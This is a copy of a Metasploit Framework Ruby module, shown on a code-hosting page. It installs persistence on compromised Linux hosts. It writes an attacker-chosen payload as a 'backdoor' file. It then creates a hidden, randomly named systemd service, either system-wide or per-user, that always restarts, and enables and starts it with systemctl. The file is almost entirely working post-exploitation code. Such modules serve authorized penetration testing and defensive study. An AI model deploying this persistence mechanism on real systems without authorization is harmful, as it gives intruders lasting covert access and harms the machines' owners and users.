Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/linux/persistence/init_systemd.rb
31203 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Local
7
Rank = ExcellentRanking
8
9
include Msf::Post::File
10
include Msf::Post::Unix
11
include Msf::Exploit::FileDropper
12
include Msf::Exploit::EXE # for generate_payload_exe
13
include Msf::Post::Linux::User # get_home_dir
14
include Msf::Exploit::Local::Persistence
15
prepend Msf::Exploit::Remote::AutoCheck
16
include Msf::Exploit::Deprecated
17
moved_from 'exploits/linux/local/service_persistence'
18
19
def initialize(info = {})
20
super(
21
update_info(
22
info,
23
'Name' => 'Service SystemD Persistence',
24
'Description' => %q{
25
This module will create a service on the box, and mark it for auto-restart.
26
We need enough access to write service files and potentially restart services
27
Targets:
28
CentOS 7
29
Debian >= 7, <=8
30
Fedora >= 15
31
Ubuntu >= 15.04
32
Verified on Ubuntu 18.04.3
33
},
34
'License' => MSF_LICENSE,
35
'Author' => [
36
'h00die <[email protected]>',
37
],
38
'Platform' => ['unix', 'linux'],
39
'Privileged' => true,
40
'Targets' => [
41
['systemd', {}],
42
[
43
'systemd user',
44
{
45
'Author' => 'Cale Black'
46
}
47
]
48
],
49
'DefaultTarget' => 0,
50
'Arch' => [
51
ARCH_CMD,
52
ARCH_X86,
53
ARCH_X64,
54
ARCH_ARMLE,
55
ARCH_AARCH64,
56
ARCH_PPC,
57
ARCH_MIPSLE,
58
ARCH_MIPSBE
59
],
60
'References' => [
61
['URL', 'https://www.digitalocean.com/community/tutorials/how-to-configure-a-linux-service-to-start-automatically-after-a-crash-or-reboot-part-1-practical-examples'],
62
['URL', 'https://coreos.com/docs/launching-containers/launching/getting-started-with-systemd/'],
63
['ATT&CK', Mitre::Attack::Technique::T1546_EVENT_TRIGGERED_EXECUTION],
64
['ATT&CK', Mitre::Attack::Technique::T1543_002_SYSTEMD_SERVICE]
65
],
66
'SessionTypes' => ['shell', 'meterpreter'],
67
'Notes' => {
68
'Stability' => [CRASH_SAFE],
69
'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT],
70
'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES]
71
},
72
'DisclosureDate' => '2010-03-30' # systemd release date
73
)
74
)
75
76
register_options(
77
[
78
OptString.new('PAYLOAD_NAME', [false, 'Name of shell file to write']),
79
OptString.new('SERVICE', [false, 'Name of service to create']),
80
OptString.new('USER', [ false, 'User to target, or current user if blank', '' ], conditions: ['Targets', '==', 'systemd user']),
81
]
82
)
83
register_advanced_options(
84
[
85
OptBool.new('EnableService', [true, 'Enable the service', true])
86
]
87
)
88
end
89
90
def check
91
print_warning('Payloads in /tmp will only last until reboot, you want to choose elsewhere.') if writable_dir.start_with?('/tmp')
92
print_warning('User doesnt have root permissions, yet target set to systemd, likely need to change target to systemd user.') if target.name == 'systemd' && !is_root?
93
return CheckCode::Safe("#{writable_dir} doesnt exist") unless exists?(writable_dir)
94
return CheckCode::Safe("#{writable_dir} isnt writable") unless writable?(writable_dir)
95
return CheckCode::Safe('Likely not a systemd based system') unless command_exists?('systemctl')
96
97
CheckCode::Appears("#{writable_dir} is writable and system is systemd based")
98
end
99
100
def target_user
101
return datastore['USER'] unless datastore['USER'].blank?
102
103
whoami
104
end
105
106
def install_persistence
107
print_warning('Payloads in /tmp will only last until reboot, you want to choose elsewhere.') if writable_dir.start_with?('/tmp')
108
backdoor = write_shell(writable_dir)
109
110
path = backdoor.split('/')[0...-1].join('/')
111
file = backdoor.split('/')[-1]
112
case target.name
113
when 'systemd'
114
systemd(path, file)
115
when 'systemd user'
116
systemd_user(path, file)
117
end
118
end
119
120
def write_shell(path)
121
file_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha(5..10)
122
backdoor = "#{path}/#{file_name}"
123
vprint_status("Writing backdoor to #{backdoor}")
124
if payload.arch.first == 'cmd'
125
write_file(backdoor, payload.encoded)
126
chmod(backdoor, 0o755)
127
else
128
upload_and_chmodx backdoor, generate_payload_exe
129
end
130
@clean_up_rc << "rm #{backdoor}\n"
131
132
fail_with(Failure::NoAccess, 'File not written, check permissions.') unless file_exist?(backdoor)
133
134
backdoor
135
end
136
137
def service_file(exec, target = 'multi-user.target')
138
<<~EOF
139
[Unit]
140
Description=Start daemon at boot time
141
After=
142
Requires=
143
[Service]
144
RestartSec=10s
145
Restart=always
146
TimeoutStartSec=5
147
RemainAfterExit=yes
148
ExecStart=#{exec}
149
[Install]
150
WantedBy=#{target}
151
EOF
152
end
153
154
def systemd(backdoor_path, backdoor_file)
155
if payload.arch.first == 'cmd'
156
script = service_file("/bin/sh #{backdoor_path}/#{backdoor_file}")
157
else
158
script = service_file("#{backdoor_path}/#{backdoor_file}")
159
end
160
161
service_filename = datastore['SERVICE'] || Rex::Text.rand_text_alpha(7..12)
162
service_name = "/lib/systemd/system/#{service_filename}.service"
163
vprint_status("Writing service: #{service_name}")
164
write_file(service_name, script)
165
166
fail_with(Failure::NoAccess, 'Service file not written, check permissions.') unless file_exist?(service_name)
167
168
@clean_up_rc << "rm #{service_name}\n"
169
if datastore['EnableService']
170
vprint_status('Enabling service')
171
cmd_exec("systemctl enable #{service_filename}.service")
172
end
173
vprint_status('Starting service')
174
cmd_exec("systemctl start #{service_filename}.service")
175
end
176
177
def systemd_user(backdoor_path, backdoor_file)
178
if payload.arch.first == 'cmd'
179
script = service_file("/bin/sh #{backdoor_path}/#{backdoor_file}", 'default.target')
180
else
181
script = service_file("#{backdoor_path}/#{backdoor_file}", 'default.target')
182
end
183
service_filename = datastore['SERVICE'] || Rex::Text.rand_text_alpha(7..12)
184
185
user = target_user
186
home = get_home_dir(user)
187
vprint_status('Creating user service directory')
188
cmd_exec("mkdir -p #{home}/.config/systemd/user")
189
190
service_name = "#{home}/.config/systemd/user/#{service_filename}.service"
191
vprint_status("Writing service: #{service_name}")
192
193
write_file(service_name, script)
194
@clean_up_rc << "rm #{service_name}\n"
195
196
if !file_exist?(service_name)
197
print_error('File not written, check permissions. Attempting secondary location')
198
vprint_status('Creating user secondary service directory')
199
cmd_exec("mkdir -p #{home}/.local/share/systemd/user")
200
201
service_name = "#{home}/.local/share/systemd/user/#{service_filename}.service"
202
vprint_status("Writing .local service: #{service_name}")
203
write_file(service_name, script)
204
fail_with(Failure::NoAccess, 'Service file not written, check permissions.') unless file_exist?(service_name)
205
@clean_up_rc << "rm #{service_name}\n"
206
end
207
208
# This was taken from pam_systemd(8)
209
systemd_socket_id = cmd_exec('id -u')
210
systemd_socket_dir = "/run/user/#{systemd_socket_id}"
211
vprint_status('Reloading manager configuration')
212
cmd_exec("XDG_RUNTIME_DIR=#{systemd_socket_dir} systemctl --user daemon-reload")
213
214
if datastore['EnableService']
215
vprint_status('Enabling service')
216
cmd_exec("XDG_RUNTIME_DIR=#{systemd_socket_dir} systemctl --user enable #{service_filename}.service")
217
end
218
219
vprint_status("Starting service: #{service_filename}")
220
# Prefer restart over start, as it will execute already existing service files
221
cmd_exec("XDG_RUNTIME_DIR=#{systemd_socket_dir} systemctl --user restart #{service_filename}")
222
end
223
end
224
225